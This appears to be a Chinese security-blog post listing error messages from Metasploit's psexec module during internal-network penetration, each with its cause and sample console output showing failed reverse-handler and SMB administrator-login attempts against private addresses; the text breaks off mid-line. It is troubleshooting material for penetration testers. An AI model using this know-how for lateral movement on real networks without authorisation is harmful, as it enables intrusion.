声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 所有话题标签: #Web安全 #漏洞复现 #工具使用 #权限提升 #权限维持 #防护绕过 #内网安全 #实战案例 #其他笔记 #资源分享 #MSF |
我们做内网渗透时经常会用到Metasploit的Psexec模块,但也时常遇到利用失败的情况,而且每次报错信息都还不一样。如果我们能够了解这些报错的具体产生原因,这将有利于我们快速找到解决办法或其它替代方案,但有时也会因为MSF版本不同而出现的报错信息不太一样。
当时在本地复现时忘了截图,也懒得再去操作一次了,大家先将就着看一下吧,等啥时候有时间了再补上。在实战测试中如果遇到报错时只需过来搜索一下就大概知道什么是原因了!!!
(1) Rex::AddressInUse The address is already in use
报错原因:监听端口被占用。
msf exploit(windows/smb/psexec) > exploit[-] Handler failed to bind to 192.168.1.108:4444[-] Handler failed to bind to 0.0.0.0:4444[-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:4444).
(2) Rex::ConnectionTimeout The connection timed out
报错原因:目标主机开启系统防火墙并阻止了445端口的连接。
msf exploit(windows/smb/psexec) > exploit[*] Started reverse handler on 192.168.1.120:4444[*] Connecting to the server...[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.1.108:445).
(3) Rex::HostUnreachable The host was unreachable
报错原因:目标主机无法访问,可能处于关机状态或者没有连接到网络。
msf exploit(windows/smb/psexec) > exploit[*] Started reverse handler on 192.168.1.120:4444[*] Connecting to the server...[-] Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.1.108:445) was unreachable.
(4) Rex::ConnectionRefused The connection was refused by the remote host
报错原因:目标主机445端口处于关闭状态或者Server服务处于停止状态。
msf exploit(windows/smb/psexec) > exploit[*] Started reverse handler on 192.168.1.120:4444[*] Connecting to the server...[-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.1.108:445).
(5) Rex::Proto::SMB::Exceptions::LoginError Login Failed: execution expired
报错原因:验证过程中发生错误,如果目标主机在使用域中的帐户执行MSF Psexec时无法访问DC计算机,则会收到此错误。
msf exploit(windows/smb/psexec) > exploit[*] Started reverse handler on 192.168.1.120:4444[*] Connecting to the server...[*] Authenticating to 192.168.1.108:445|WORKGROUP as user '90sec'...[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: execution expired
(6) Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE
报错原因:目标主机管理员账户或密码不正确。
msf exploit(windows/smb/psexec) > exploit[*] Started reverse handler on 192.168.1.120:4444[*] Connecting to the server...[*] Authenticating to 192.168.1.108:445 as user 'administrator'...[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
RubySMB::Error::UnexpectedStatusCode STATUS_USER_SESSION_DELETED
msf5 exploit(wind